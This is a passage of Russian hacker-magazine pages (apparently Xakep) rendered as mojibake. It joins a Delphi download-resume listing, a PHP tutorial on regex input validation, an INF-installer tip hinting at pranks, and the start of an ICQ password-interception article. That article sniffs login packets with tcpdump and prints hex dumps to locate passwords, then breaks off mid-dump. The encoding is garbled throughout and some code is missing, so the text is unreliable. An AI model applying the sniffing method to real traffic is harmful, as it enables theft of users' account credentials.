ÿ çàïóñòèë äîêà÷êó è óñïåøíî ñëèë ôàéë. Çàìåòü, ñ âåñüìà íåïëîõîé ñêîðîñòüþ,<br />
à âñå ýòî áëàãîäàðÿ êîìïàíèè ìàéêðîñîôò è íàøèì ñ òîáîé ïðÿìûì ðó÷êàì.<br />
79<br />
Äàóíëîàä êîìïëèò!<br />
ÇÀÊËÞ×ÅÍÈÅ<br />
Ïðîãðàììà ïîëó÷èëàñü î÷åíü ïðîñòîé, è â òâîèõ ðóêàõ âîçìîæíîñòü äîâåñòè åå äî<br />
íóæíîãî óðîâíÿ: óáðàòü öèêë â îòäåëüíûé ïîòîê, à èíà÷å áóäåò òîðìîçèòü èíòåðôåéñ,<br />
äîáàâèòü ðàçëè÷íûå ïðîãðåññáàðû è ïðî÷óþ ïðèÿòíóþ ëàáóäó (][ îá ýòîì ïèñàë íå<br />
ðàç). Èñõîäíèêè, êàê âñåãäà, ìîæåøü âçÿòü íà ñàéòå www.cydsoft.com/vronline<br />
- íå áóäåì íàðóøàòü òðàäèöèþ. Íà ýòîì âñå. Óäà÷è òåáå è äî íîâûõ<br />
âñòðå÷ â ýôèðå.<br />
Ëèñòèíã<br />
TForm1.BitBtn1Click<br />
procedure TForm1.BitBtn1Click(Sender: TObject);<br />
var F: File;<br />
ResumePos,BufferLen,SumSize: DWORD;<br />
hSession, hURL: HInternet;<br />
Buffer: array[1..1024] of Byte;<br />
err: boolean;<br />
begin<br />
SumSize:=0; ResumePos:=0; //Èíèöèàëèçèðóåìñÿ<br />
AssignFile (F,Edit2.Text); //Ñâÿæåìñÿ ñ ôàéëîì<br />
IF FileExists (Edit2.Text) then //Åñòü ëè íà äèñêå ýòîò ôàéë<br />
begin<br />
Reset(f,1); //Àõ, åñòü? Îòêðîåì!<br />
ResumePos:=FileSize(F); //Îòêóäà äîêà÷àòü<br />
Seek(F, FileSize(F)); //À ïèñàòü áóäåì â êîíåö<br />
end else ReWrite(f,1); //À ðàç íåò, òàê ñîçäàäèì<br />
NADO:= TRUE; //Íàäî êà÷àòü...<br />
//Îòêðûëè ñåññèþ<br />
hSession:= InternetOpen('X-Kachalka',PRE_CONFIG_INTERNET_ACCESS,nil,nil,0);<br />
//È íàø ÓÐË<br />
hURL := InternetOpenURL(hSession,PChar(Edit1.Text),nil,0,0,0);<br />
//Ñêîëüêî òàì íàø ôàéë âåñèò?<br />
InternetQueryDataAvailable(hURL, SumSize,0,0);<br />
label4.Caption:= IntToStr (SumSize); //Ñîîáùèì îá ýòîì<br />
if ResumePos>0 then //Åñëè äîêà÷èâàåì,<br />
begin<br />
InternetSetFilePointer(hURL,ResumePos,nil,0,0); //Òî ñìåñòèìñÿ<br />
end;<br />
REPEAT //Êà÷àåì<br />
err:= InternetReadFile(hURL, @Buffer,SizeOf(Buffer),BufferLen); //×èòàåì áóôåð<br />
IF err= false then //Îøèáêà ÷òåíèÿ<br />
begin<br />
ShowMessage ('Ïðîèçîøåë îáëîì :('); //Ñîîáùèì è âûõîäèì<br />
exit;<br />
end;<br />
BlockWrite(f, Buffer, BufferLen); //Ïèøåì â ôàéë<br />
Application.Processmessages;<br />
UNTIL (BufferLen= 0) Or (NADO= FALSE); //Êà÷àåì, ïîêà íå âñå èëè íàäî<br />
ShowMessage ('Óñïåøíî çàãðóæåíî!');<br />
end;
Êîäèíã<br />
SLASHDOT? ÍÀ PHP - ÕÀËßÂÀ! #2<br />
Íèêèòà «Nikitos» Êèñëèöèí<br />
(nikitoz@real.xakep.ru) http://nikitos.inc.ru<br />
Êîíöåïò<br />
ÍÎÂÎÑÒÍÎÉ<br />
ÄÂÈÆÎÊ<br />
 ïðåäûäóùåì íîìåðå ÿ íà÷àë ðàññêàçûâàòü î ñîçäàíèè ñîáñòâåííîãî àâòîìàòèçèðîâàííîãî<br />
íîâîñòíîãî ïîðòàëà. Íàïîìíþ, òîãäà ìû îïèñàëè öåëûé<br />
ðÿä óçêîñïåöèàëèçèðîâàííûõ ôóíêöèé, êîòîðûå ïëàíèðîâàëîñü èñïîëüçîâàòü<br />
íåïîñðåäñòâåííî â ñîçäàâàåìîé ñèñòåìå. Ñåãîäíÿ æå ðå÷ü ïîéäåò î<br />
êîíöåïöèè ïîñòðîåíèÿ ïîäîáíûõ èíôîðìàöèîííûõ ñèñòåì. Òàêæå ìû çàòðîíåì<br />
òåìó ðåãóëÿðíûõ âûðàæåíèé è èõ èñïîëüçîâàíèÿ äëÿ çàùèòû ñêðèïòîâ<br />
îò çëîóìûøëåííèêîâ. Ýòî îäèí èç âàæíåéøèõ àñïåêòîâ âåá-ïðîãðàììèðîâàíèÿ,<br />
è â íåì òåáå ïðåäñòîèò ðàçîáðàòüñÿ.<br />
Íèêèòà «Nikitos» Êèñëèöèí (nikitoz@real.xakep.ru) http://nikitos.inc.ru<br />
Èòàê, åñòü ìîäóëüíûé ôàéë, â êîòîðîì îïèñàí öåëûé ðÿä âûñîêîóðîâíåâûõ ôóíêöèé.<br />
Ôàêòè÷åñêè, ýòî êóáèêè, ýëåìåíòû êîíñòðóêòîðà "Ëåãî". Èç íèõ òðåáóåòñÿ ñîáðàòü<br />
åäèíîå öåëîå, ïðåäñòàâëÿþùåå íåêîòîðóþ âàæíîñòü äëÿ ñáîðùèêà :). Êîä<br />
ñêðèïòà ñòðîèòñÿ ñëåäóþùèì îáðàçîì: â çàâèñèìîñòè îò ïåðåäàâàåìîãî ñöåíàðèþ<br />
ïàðàìåòðà âûçûâàþòñÿ òå èëè èíûå ôóíêöèè. Êîìáèíèðóÿ èõ íåêîòîðûì îáðàçîì,<br />
ìû ïîëó÷àåì î÷åíü íàãëÿäíûé ñöåíàðèé. Îí êîìïàêòíûé, óäîáî÷èòàåìûé è, ÷òî íåìàëîâàæíî,<br />
ýôôåêòèâíûé â ïëàíå ðåñóðñîâ. Äåëî â òîì, ÷òî ìîäóëüíàÿ îðãàíèçàöèÿ<br />
ïðèëîæåíèé (ëþáûõ, íåâàæíî íà êàêîì ÿçûêå îíè íàïèñàíû) ïîçâîëÿåò äîâîëüíî<br />
ñèëüíî ýêîíîìèòü ïàìÿòü. Òàê, íàïðèìåð, ïðè âûçîâå ñöåíàðèÿ ñ ñîòíåé èñïîëüçóåìûõ<br />
ïåðåìåííûõ, âñå îíè ðàçîì èíèöèàëèçèðóþòñÿ. Åñëè æå ñóùåñòâåííàÿ èõ<br />
÷àñòü èñïîëüçóþòñÿ â áëîêàõ, âûçûâàåìûõ ëèøü ïî ìåðå íåîáõîäèìîñòè, òî è ïàìÿòè<br />
áóäåò ðàñõîäîâàòüñÿ ìåíüøå, ïîñêîëüêó ïåðåìåííûå ñîçäàþòñÿ ëèøü ïðè âûçîâå<br />
ôóíêöèè è óíè÷òîæàþòñÿ ïðè åå çàâåðøåíèè. Êîíå÷íî, â íåáîëüøèõ ñöåíàðèÿõ<br />
ýòî íå òàê âàæíî, îäíàêî ïðè íàïèñàíèè äåéñòâèòåëüíî êðóïíûõ ïðîåêòîâ, ðàññ÷èòàííûõ<br />
íà áîëüøóþ íàãðóçêó, ýòèì ïðåíåáðåãàòü íåëüçÿ. Ýêîíîìèÿ ðåñóðñîâ ìîæåò<br />
áûòü î÷åíü è î÷åíü ñóùåñòâåííîé. Âîçâðàùàÿñü ê îïèñûâàåìîìó ñëó÷àþ, ñëåäóåò<br />
çàìåòèòü, ÷òî, õîòü æåñòêîé íåîáõîäèìîñòè â òàêîì ïîäõîäå íåò, îðãàíèçîâûâàòü<br />
ñâîè ïðèëîæåíèÿ òàêèì îáðàçîì - çàìå÷àòåëüíàÿ ïðèâû÷êà, êîòîðàÿ â áóäóùåì, åñëè<br />
òû, êîíå÷íî, áóäåøü çàíèìàòüñÿ ïðîãðàììèðîâàíèåì, ïîìîæåò ñýêîíîìèòü òåáå<br />
êó÷ó âðåìåíè è íåðâîâ. À îáå ýòè íåîñÿçàåìûå ñóáñòàíöèè, êàê èçâåñòíî, èìåþò<br />
ñâîéñòâî óõîäèòü áåçâîçâðàòíî.<br />
Ñèñòåìà â ðàáîòå<br />
Âûðàæàéñÿ ðåãóëÿðíî!<br />
Ðàññìîòðèì ýòîò ïðèåì áîëåå ïîäðîáíî íà ïðèìåðå: äîïèøåì íàø ìàëåíüêèé<br />
slashdot. Åñòü ñêðèïò index.php, åñëè åìó íå ïåðåäàíî çíà÷åíèå ïåðåìåííîé $do<br />
(ýòî îïðåäåëÿþùèé äåéñòâèÿ ñöåíàðèÿ ïàðàìåòð), òî îí ïîêàçûâàåò ñòðî÷êó íàâèãàöèè<br />
ïî ðàçäåëàì è ïîñëåäíèå äîáàâëåííûå ïóáëèêàöèè. Òàê è ïèøåì: . Êîðîòêî è ÿñíî - â ñòèëå php :). Íàïîìíþ,<br />
÷òî â îïèñàíèè ôóíêöèè showposts äëÿ êàæäîãî èç ïàðàìåòðîâ ïðåäóñìîòðåíû<br />
çíà÷åíèÿ ïî óìîë÷àíèþ, êîòîðûå â äàííîì ñëó÷àå íàñ ïîëíîñòüþ óäîâëåòâîðÿþò.<br />
Ýòîò êîä âûâîäèò êðàòêóþ èíôîðìàöèþ î ïîñëåäíèõ 20 ïîñòèíãàõ, ñîçäàâàÿ äëÿ<br />
êàæäîãî èç íèõ ññûëêè "[more...]", èìåþùèå ñëåäóþùèé âèä: . Ëåãêî çàìåòèòü, ÷òî ïðè íàæàòèè íà òàêîé ëèíê,<br />
ñêðèïòó áóäóò ïåðåäàíû ïàðàìåòðû do=read è pid=íîìåð_ïóáëèêàöèè. Ïîäðàçóìåâàåòñÿ,<br />
÷òî äëÿ $do="read" ïðåäóñìîòðåíà ôóíêöèÿ ïðîñìîòðà ñòàòüè $pid:<br />
<br />
Ôóíêöèÿ addcommentform($pid) ñîçäàåò html-ôîðìó äëÿ îòïðàâêè êîììåíòàðèÿ ê<br />
ïóáëèêàöèè, â ñêðûòîì ïîëå êîòîðîé ïàðàìåòð $do îïðåäåëÿåòñÿ êàê "addcomment".<br />
Êîä äëÿ ýòîãî ñîñòîÿíèÿ íå çàñòàâëÿåò ñåáÿ äîëãî æäàòü: . Âñå ïðèíèìàåìûå<br />
ôóíêöèåé ïàðàìåòðû ïîëó÷àþòñÿ èç ôîðìû, $pid - èç åå ñêðûòîãî ïîëÿ.<br />
Ñîâñåì çàáûë ïðî ñòðîêó íàâèãàöèè, âûâîäèìóþ ôóíêöèåé navigation()! Íàçâàíèå<br />
êàæäîé ðóáðèêè ïðåäñòàâëÿåò ñîáîé ññûëêó, ïðè íàæàòèè íà êîòîðóþ ïîëüçîâàòåëþ<br />
áóäóò ïîêàçàíû ïóáëèêàöèè ïî îïðåäåëåííîé òåìàòèêå. Ïàðàìåòð do â ýòîì ñëó÷àå<br />
èìååò çíà÷åíèå view, à èäåíòèôèêàòîð ðóáðèêè íàçûâàåòñÿ cat. Îáðàáîò÷èê ýòîãî<br />
ñîñòîÿíèÿ ïåðåìåííîé $do èìååò ñëåäóþùèé âèä: . Ñëåäóåò îòìåòèòü, ÷òî â ýòîì ñëó÷àå ïðè âûçîâå ôóíêöèè showposts<br />
ïåðåîïðåäåëÿåòñÿ ëèøü îäèí ïàðàìåòð, çíà÷åíèÿ îñòàëüíûõ îñòàþòñÿ äåôîëòíûìè.<br />
Âñå, ìû äîïèñàëè þçåðñêóþ ÷àñòü èíòåðôåéñà.<br />
80<br />
Íåîáû÷íûå þçåðû<br />
Íè÷åãî íå çàáûëè? Âåðíî, êîå-÷òî çàáûëè. Çàáûëè, ÷òî ñðåäè îáû÷íûõ ïîëüçîâàòåëåé<br />
âñòðå÷àþòñÿ ïîëüçîâàòåëè íåîáû÷íûå, ëþáîçíàòåëüíûå è çëîíàìåðåííûå. Ïðîáëåìà<br />
çàêëþ÷àåòñÿ â òîì, ÷òî ñèñòåìà íàøà íèêàê íå çàùèùåíà îò èõ äåÿíèé. Ñàìûé<br />
ïðîñòîé è äåéñòâåííûé êëþ÷ ê ðåøåíèþ ýòîé ïðîáëåìû - îòñåèâàíèå âõîäíûõ<br />
ïàðàìåòðîâ, îïðåäåëÿåìûõ ëèáî íàïðÿìóþ, ëèáî êîñâåííî ïîëüçîâàòåëåì.
Ðåçóëüòàò äîâåðèòåëüíîé íàñòðîéêè èíòåðïðåòàòîðà<br />
è èñïîëüçîâàíèå äûðÿâîé âåðñèè php :)<br />
Ïîìíè: íèêîãäà íåëüçÿ äîâåðÿòü ïîëüçîâàòåëþ. Åñëè ïîëüçîâàòåëü<br />
ìîæåò ÷òî-òî ñäåëàòü, òî îí îáÿçàòåëüíî ýòî ñäåëàåò!<br />
Íî íåò íåîáõîäèìîñòè ÷àñàìè ëîìàòü ãîëîâó íàä òåì, ÷åðåç<br />
êàêèå æå äûðû è êàêèì îáðàçîì çëîóìûøëåííèê ìîæåò íàâðåäèòü<br />
ñèñòåìå. Êóäà ïðîùå íå ïóñêàòü ê îáðàáîòêå äàííûå,<br />
èìåþùèå çàâåäîìî íåâåðíûé ôîðìàò. Òàê, íàïðèìåð, íîìåð<br />
ñòàòüè ìîæåò ñîñòîÿòü òîëüêî èç öèôð, ïðè÷åì èõ äîëæíî<br />
áûòü ðàçóìíîå êîëè÷åñòâî. Äëÿ ñðàâíåíèÿ ñòðîê ñ çàäàííûì<br />
øàáëîíîì â PHP ðåàëèçîâàíû ôóíêöèè unix'îâûõ ðåãóëÿðíûõ<br />
âûðàæåíèé. Ýòî, íàäî çàìåòèòü, ÷ðåçâû÷àéíî ãèáêàÿ òåõíîëîãèÿ,<br />
èñïîëüçóåìàÿ óæå íåñêîëüêî ëåò. Ðåãóëÿðíîå âûðàæåíèå<br />
ÿâëÿåòñÿ øàáëîíîì, îïèñûâàþùèì ïðèðîäó è ñòðóêòóðó<br />
èñêîìîé ñòðîêè. Ôóíêöèÿ ereg(regexp, string) âîçâðàùàåò ëîãè÷åñêîå<br />
true, åñëè ñòðîêà string ñîîòâåòñòâóåò øàáëîíó regexp.<br />
Î÷åâèäíî, ÷òî îñíîâíîé çàäà÷åé áóäåò ñîñòàâëåíèå ýòîãî<br />
ñàìîãî øàáëîíà. Îí ñîáèðàåòñÿ èç êîíêðåòíûõ ñèìâîëîâ,<br />
äèàïàçîíîâ çíà÷åíèé è ñïåöèàëüíûõ çíàêîâ, íàêëàäûâàþùèõ<br />
äîïîëíèòåëüíûå îãðàíè÷åíèÿ íà ñòðóêòóðó ñòðîêè. Äèàïàçîí<br />
ñèìâîëîâ áåðåòñÿ â êâàäðàòíûå ñêîáêè. Íàïðèìåð [a-z] îáîçíà÷àåò<br />
ëþáóþ ëàòèíñêóþ áóêâó íèæíåãî ðåãèñòðà, à [0-9] ýêâèâàëåíòíî<br />
ëþáîé öèôðå. Íåñêîëüêî êîíêðåòíûõ ñèìâîëîâ<br />
ìîãóò ïåðå÷èñëÿòüñÿ áåç âñÿêîãî ðàçäåëèòåëÿ òàêæå âíóòðè<br />
[]. Ñòàâÿ ^ ïåðåä èñêîìîé ñòðîêîé è $ â åå êîíöå, ïðîãðàììèñò<br />
óêàçûâàåò, ÷òî ñòðîêà îáÿçàòåëüíî äîëæíà íà÷èíàòüñÿ è<br />
çàêàí÷èâàòüñÿ óêàçàííûìè ñèìâîëàìè. Ìîæíî òàêæå íàêëàäûâàòü<br />
îãðàíè÷åíèÿ íà êîëè÷åñòâî óêàçàííûõ çíàêîâ, ñòàâÿ<br />
ïîñëå ïåðå÷èñëåíèÿ ñèìâîëîâ ïàðó ÷èñåë ôîðìàòà {x, y}, îïðåäåëÿþùèõ,<br />
ñîîòâåòñòâåííî, ìèíèìàëüíîå è ìàêñèìàëüíîå<br />
êîëè÷åñòâî çíàêîâ â ñòðîêå.<br />
Îòëè÷íàÿ êíèãà ïî ðåãóëÿðíûì âûðàæåíèåì.<br />
Âïðî÷åì, O'Reilly ïëîõèõ êíèã íå âûïóñêàåò<br />
Ïðèìåðû. ^x{2,3}$ ñîîòâåòñòâóåò "xx" è "xxx", .{2} - ëþáîìó<br />
óäâîåííîìó ñèìâîëó, à ^[a-zA-Z0-9]{1,40}@[a-zA-Z0-<br />
9]{3,30}.[a-zA-Z0-9\.]{2,40}$ çàäàåò e-mail. Äî çíàêà "@" ñòîèò<br />
íå áîëåå 40 ëàòèíñêèõ çíàêîâ èëè öèôð. Ïîñëå "@" è äî<br />
"." íå áîëåå 30 àíàëîãè÷íûõ ñèìâîëîâ. Ïîñëå ïåðâîé òî÷êè<br />
äîïóñêàåòñÿ íàëè÷èå íå áîëåå ñîðîêà ñèìâîëüíûõ çíàêîâ, íå<br />
èñêëþ÷àåòñÿ òàêæå è íàëè÷èå òî÷åê. Ýòî íåîáõîäèìî, åñëè,<br />
íàïðèìåð, e-mail þçåðà ôóíêöèîíèðóåò íà äîìåíå òðåòüåãî<br />
óðîâíÿ.<br />
Òåïåðü òû ìîæåøü íàïèñàòü ðÿä ôóíêöèé äëÿ ïðîâåðêè âàëèäíîñòè<br />
ïîëó÷àåìûõ îò ïîëüçîâàòåëÿ ïàðàìåòðîâ. Îáðàáàòûâàòü<br />
íåêîððåêòíûå â ñèíòàêñè÷åñêîì ñìûñëå äàííûå îïàñíî.<br />
Ïðåæäå ÷åì ñêàðìëèâàòü êàêóþ-ëèáî èíôîðìàöèþ ôóíê-<br />
81<br />
öèè, âçàèìîäåéñòâóþùåé ñ áàçîé äàííûõ, îáÿçàòåëüíî íàäî ïðîâåðÿòü êàæäûé ïàðàìåòð,<br />
äëÿ ÷åãî î÷åíü óäîáíî ïîëüçîâàòüñÿ îïèñàííûìè áëîêàìè. Íàïðèìåð, ïðîöåäóðà<br />
ïðîâåðêè âàëèäíîñòè àäðåñà ýëåêòðîííîé ïî÷òû:<br />
function isemail($email)<br />
{<br />
if(ereg("^[a-zA-Z0-9]{1,40}@[a-zA-Z0-9]{3,30}.[a-zA-Z0-9\.]{2,40}$", $email))<br />
{ return true; } else {return false;}<br />
}<br />
Ïî àíàëîãèè ðàáîòàþò è îñòàëüíûå ôóíêöèè, íàäåþñü, òû èõ çàïðîñòî íàïèøåøü.<br />
Àäìèíèñòðàòèâíûé èíòåðôåéñ<br />
Ââåäåí íåâåðíûé ïàðîëü<br />
Ôîðìà àóòåíòèôèêàöèè àäìèíèñòðàòîðà<br />
Àäìèíèñòðàòèâíûé èíòåðôåéñ ñîçäàåòñÿ òàêèì æå îáðàçîì. Îïèñûâàåòñÿ ðÿä ôóíêöèé<br />
(àâòîðèçàöèÿ, ïðîñìîòð ñïèñêà ñòàòåé, äîáàâëåíèå/óäàëåíèå/ðåäàêòèðîâàíèå ïóáëèêàöèè<br />
è ò.ä.) è ïî àíàëîãèè ñ ïðèâåäåííûì ïðèìåðîì èç íèõ ñîáèðàåòñÿ åäèíûé áëîê.<br />
Ñòîèò ëèøü çàìåòèòü, ÷òî äëÿ àäìèíèñòðàòèâíîãî èíòåðôåéñà ïðîáëåìû áåçîïàñíîñòè<br />
òàêæå àêòóàëüíû. Òàê ÷òî óæ, ïî êðàéíåé ìåðå, ôóíêöèþ àâòîðèçàöèè ïîëüçîâàòåëÿ<br />
íàäî ïèñàòü êàê ñëåäóåò. Óäà÷è. Çàáðàòü êîíå÷íóþ âåðñèþ ñèñòåìû ìîæíî êàê âñåãäà<br />
ñ ìîåãî ñàéòà, ëèáî ñ äèñêà. Åñëè ÷òî-òî íå ïîëó÷àåòñÿ, ïèøè, ïîñòàðàþñü ïîìî÷ü.<br />
Tips&Tricks<br />
Ñðåäñòâàìè âèíäîâ ìîæíî ñäåëàòü<br />
èíñòàëëÿòîð. Åñòü òàêèå<br />
ôàéëû INF. Çàïóñêàþòñÿ îíè<br />
ñòðî÷êîé "C:\WIN98\rundll.exe<br />
setupx.dll,InstallHinfSection<br />
DefaultInstall 132". Ôàéëî ðàçáèòî<br />
íà ñåêöèè. [DestinationDirs] –<br />
äèðû, êóäà è îòêóäà êîïèðîâàòü/óäàëÿòü.<br />
Òóò âñå ëåãêî. Ïîòîì<br />
â ëþáîé ñåêöèè â íà÷àëå ïèøåøü:<br />
AddReg=mazafaka.addreg<br />
- äîáàâèòü â ðååñòð,<br />
DelReg=mazafaka.delreg – óäàëèòü,CopyFiles=mazafaka.copyfiles<br />
- êîïèðèòü ôàéëî,<br />
DelFiles=mazafaka.delfiles – óäàëèòü.<br />
Åùå åñòü î÷åíü ìíîãî ñåêöèé:<br />
UpdateIni,RemoveBackUp è<br />
ò. ä. Ìåñòà íå õâàòèò îïèñûâàòü.<br />
Çàãëÿíè â %windir%\inf\, òàì ïî-<br />
÷èòàåøü, ÷òî íàïèñàëè äðóãèå!<br />
Èçó÷àé âñå Ìåòîäîì_Òûêà, è ó<br />
òåáÿ âñå ïîëó÷èòñÿ.<br />
ÇÛ. Ìîæíî èç ýòîãî ñäåëàòü<br />
"ñâèíüþ". ;)<br />
Ñïèðèäîíîâ Ñòàñ aka V4nD4LL<br />
v4nd4ll@samtel.ru
Êîäèíã<br />
ÏÅÐÅÕÂÀÒ ICQ ÏÀÐÎËÅÉ<br />
Êîíñòàíòèí Êëÿãèí http://konst.org.ua<br />
×òîáû äîñòè÷ü íàøåé öåëè, áóäåò âïîëíå äîñòàòî÷íî ðàçîáðàòü ëîãèí-ïàêåò. Ëîãè÷íî<br />
ïðåäïîëîæèòü, ÷òî òîëüêî îí è ñîäåðæèò íóæíîå íàì ïîëå - ïàðîëü. ×òîáû ðàñøèôðîâàòü<br />
ñòðóêòóðó òàêîãî ïàêåòà, íàðÿäó ñ êàêèì-íèáóäü ICQ-êëèåíòîì íàì ïîíàäîáèòñÿ<br />
ñíèôåð. Êîíå÷íî, äëÿ ýòèõ öåëåé åñòü ìàññà íàâîðî÷åííûõ èíñòðóìåíòîâ, ñ òàêîé<br />
æå íåñëàáîé ïðîöåäóðîé èíñòàëëÿöèè è ìàíóàëîì íà ïàðó ñîòåí ñòðàíèö. Íàì ýòî íå<br />
ïîäõîäèò. Çà÷åì? Âåäü äëÿ äàííîé çàäà÷è ñãîäèòñÿ ñàìûé ÷òî íè íà åñòü ñòàíäàðòíûé,<br />
áûòîâîé tcpdump. Óòèëèòà ýòà âõîäèò ïî÷òè â êàæäûé äèñòðèáóòèâ Linux è èìååò<br />
äîñòàòî÷íîå êîëè÷åñòâî âñåâîçìîæíûõ ïàðàìåòðîâ, óïðàâëÿþùèõ åå ïîâåäåíèåì.<br />
Ñíèôèì ICQ-ïàêåòû<br />
Èòàê, èìååòñÿ: ðîóòåð ïîä êàêèì-íèáóäü þíèêñîì (ó ìåíÿ Linux) è âèíäîâàÿ ìàøèíà<br />
ñ ICQ. Âïðî÷åì, ñîâñåì íå îáÿçàòåëüíî èìåòü äâà ðàçíûõ êîìïà. Íàñòîÿùèå ñåòåâûå<br />
õóëèãàíû ïî äîñòîèíñòâó îöåíèëè VMWare - ôàêòè÷åñêè ýìóëÿòîð êîìïüþòåðà, íà êîòîðîì<br />
"â îêîøêå" ìîæíî çàïóñòèòü ïðàêòè÷åñêè ëþáóþ ÎÑ. Òàê âîò, çäåñü èìååòñÿ èíñòàëëÿöèÿ<br />
Linux, â íåé çàïóùåí VMWare ñ Windows 98. Îáå ñèñòåìû îáùàþòñÿ ïî âèðòóàëüíîé<br />
TCP/IP ñåòè, äà è âåñü òðàôèê ïðîõîäèò ÷åðåç Linux - êàê ðàç òî, ÷òî íóæíî.<br />
Çàïóñêàåì tcpdump èç-ïîä root:<br />
# tcpdump -X -s 65535 -i any -l 'dst host login.icq.com && src host vasya.ournet.int' | less<br />
Âñå ýòî çíà÷èò, ÷òî ñíèôåð áóäåò âûâîäèòü ïàêåòû öåëèêîì (-s 65535 - ìàêñèìàëüíàÿ<br />
äëèíà), âìåñòå ñ äàìïîì hex (-X). ×òîáû íå çàìîðà÷èâàòüñÿ, ñåòåâîé èíòåðôåéñ - ëþáîé<br />
(-i any). Ïîñëåäíèé ïàðàìåòð - ëîãè÷åñêîå âûðàæåíèå, îïðåäåëÿþùåå ôèëüòð äëÿ<br />
îòîáðàæàåìûõ ïàêåòîâ.  íàøåì ñëó÷àå îíî îçíà÷àåò "ïîêàçûâàòü òðàôèê, ïðåäíàçíà÷åííûé<br />
ìàøèíå login.icq.com, èäóùèé îò vasya.ournet.int". Ïîñëåäíåå - èìÿ ìàøèíû<br />
ñ Windows. Ìîæíî ïîñòàâèòü íå õîñò, à ïðîñòî IP-àäðåñ. Ïðè íåçíàíèè âñåãî ýòîãî<br />
è ïîëíîé óâåðåííîñòè â òîì, ÷òî íèêàêèõ ICQ-êëèåíòîâ â Ñåòè áîëüøå íåò, ÷àñòü<br />
àðãóìåíòîâ ïîñëå "&&" ìîæíî îïóñòèòü. Ñ ïîìîùüþ "| less" (èëè "| more") áóäåì ñìîòðåòü<br />
âûâîä. ×òî æå ìû óâèäèì?<br />
12:37:11.598962 vasya.ournet.int.1057 > ibucp-vip-m.blue.aol.com.5190: S<br />
19249:619249(0) win 8192 (DF)<br />
0x0000 4500 0030 e600 4000 8006 9db6 c0a8 ae02 E..0..@.........<br />
0x0010 400c c859 0421 1446 0009 72f1 0000 0000 @..Y.!.F..r.....<br />
0x0020 7002 2000 60ad 0000 0204 05b4 0101 0402 p...`...........<br />
12:37:11.978903 vasya.ournet.int.1057 > ibucp-vip-m.blue.aol.com.5190: . ack<br />
3835389642 win 9520 (DF)<br />
0x0000 4500 0028 e700 4000 8006 9cbe c0a8 ae02 E..(..@.........<br />
0x0010 400c c859 0421 1446 0009 72f2 e49b 66ca @..Y.!.F..r...f.<br />
0x0020 5010 2530 3ccb 0000 0000 0000 0000 P.%0 ibucp-vip-m.blue.aol.com.5190: P 0:138(138)<br />
ack 11 win 9510 (DF)<br />
Ïåðåõâàò<br />
ICQ ïàðîëåé<br />
Ñòðÿïàåì ñíèôåð íà êîëåíêå<br />
Èç äîñòîâåðíûõ èñòî÷íèêîâ ïîñòóïèëà èíôîðìàöèÿ î òîì, ÷òî âñåìè ëþáèìàÿ àñüêà èìååò äîâîëüíî<br />
äûðÿâóþ ñõåìó àóòåíòèôèêàöèè è ïîäêëþ÷åíèÿ ê ñåðâåðó.  îòëè÷èå îò äðóãèõ ïðîãðàìì<br />
äëÿ áûñòðîãî îáùåíèÿ, òàêèõ êàê MSN (.NET) Messenger è Yahoo! Messenger, èñïîëüçóþùèõ<br />
àëãîðèòì MD5 äëÿ ïðîâåðêè ïàðîëÿ ïî êîíòðîëüíûì ñóììàì, â ICQ ïàðîëè ïåðåäàþòñÿ<br />
÷óòü ëè íå â îòêðûòóþ. ×åìó ýòî ó÷èò ìîëîäûõ õóëèãàíñòâóþùèõ ñåòåâûõ ìàíüÿêîâ? Îòâåò<br />
ïðîñò: ïîëüçóÿñü òåì, ÷òî ëîãèí-èíôîðìàöèÿ ïåðåäàåòñÿ ïðè êàæäîì ïîäêëþ÷åíèè ê öåíòðàëüíîìó<br />
ñåðâàêó, ìîæíî íàïèñàòü ñíèôåð, çàíèìàþùèéñÿ àâòîìàòè÷åñêèì "âûêóñûâàíèåì" ïàðîëÿ<br />
èç ñåòåâîãî òðàôèêà. Îá ýòîì è ïîéäåò ñåãîäíÿøíèé ðàçãîâîð.<br />
Êîíñòàíòèí Êëÿãèí http://konst.org.ua<br />
0x0000 4500 00b2 e800 4000 8006 9b34 c0a8 ae02 E.....@....4....<br />
0x0010 400c c859 0421 1446 0009 72f2 e49b 66d4 @..Y.!.F..r...f.<br />
0x0020 5018 2526 f4f1 0000 2a01 6bd0 0084 0000 P.%&....*.k.....<br />
0x0030 0001 0001 0009 3235 3139 3832 3637 3800 ......251982678.<br />
0x0040 0200 068b 5ef9 f50b b500 0300 3349 4351 ....^.......3ICQ<br />
0x0050 2049 6e63 2e20 2d20 5072 6f64 7563 7420 .Inc..-.Product.<br />
0x0060 6f66 2049 4351 2028 544d 292e 3230 3030 of.ICQ.(TM).2000<br />
0x0070 622e 342e 3630 2e31 2e33 3237 382e 3835 b.4.60.1.3278.85<br />
0x0080 0016 0002 010a 0017 0002 0004 0018 0002 ................<br />
0x0090 003c 0019 0002 0001 001a 0002 0cce 0014 . Security &<br />
Privacy -> Password è óáèðàåì ãàëî÷êó ñ "Save password". Íàæèìàåì "Save", ââîäèì<br />
âåðíûé ïàðîëü - ïðîãðàììà çà÷åì-òî åãî ñïðàøèâàåò ïðè èçìåíåíèè íàñòðîåê. Ïîñëå<br />
÷åãî ïûòàåìñÿ çàëîãèíèòüñÿ ñ ðàçíûìè íåïðàâèëüíûìè ïàðîëÿìè, íå çàáûâàÿ íàáëþäàòü<br />
çà òðàôèêîì.<br />
Âîò ïàêåò ñ ïàðîëåì "abcd":<br />
0x0000 4500 00b0 fc00 4000 8006 adf6 c0a8 ae02 E.....@.........<br />
0x0010 400c a199 0424 1446 0011 b946 0d8a 9483 @....$.F...F....<br />
0x0020 5018 2526 9df2 0000 2a01 72b3 0082 0000 P.%&....*.r.....<br />
0x0030 0001 0001 0009 3235 3139 3832 3637 3800 ......251982678.<br />
0x0040 0200 0492 44e2 a000 0300 3349 4351 2049 ....D.....3ICQ.I<br />
0x0050 6e63 2e20 2d20 5072 6f64 7563 7420 6f66 nc..-.Product.of<br />
0x0060 2049 4351 2028 544d 292e 3230 3030 622e .ICQ.(TM).2000b.<br />
0x0070 342e 3630 2e31 2e33 3237 382e 3835 0016 4.60.1.3278.85..<br />
0x0080 0002 010a 0017 0002 0004 0018 0002 003c ...............<<br />
0x0090 0019 0002 0001 001a 0002 0cce 0014 0004 ................<br />
0x00a0 0000 0055 000f 0002 656e 000e 0002 7573 ...U....en....us<br />
82<br />
À âîò - "123":<br />
0x0000 4500 0028 0601 4000 8006 7dbe c0a8 ae02 E..(..@...}.....<br />
0x0010 400c c859 0427 1446 001b 367c 4530 25e8 @..Y.'.F..6|E0%.<br />
